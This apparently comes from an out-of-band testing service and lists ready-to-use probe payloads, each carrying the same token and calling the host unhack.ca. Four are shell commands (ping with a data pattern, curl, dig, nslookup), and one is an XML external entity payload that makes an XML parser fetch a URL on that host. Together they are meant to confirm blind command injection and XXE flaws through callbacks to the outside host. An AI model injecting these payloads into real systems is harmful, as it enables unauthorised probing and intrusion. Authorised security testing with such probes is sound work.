$ ping -c1 -p 00783eb300e653f97fdfb80227539700 unhack.ca
$ curl http://unhack.ca/p/783eb300e653f97fdfb802275397
$ dig 783eb300e653f97fdfb802275397 @unhack.ca
$ dig 783eb300e653f97fdfb802275397.ns.unhack.ca
C:\> nslookup 783eb300e653f97fdfb802275397 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/783eb300e653f97fdfb802275397">]> <foo>&xxe;</foo>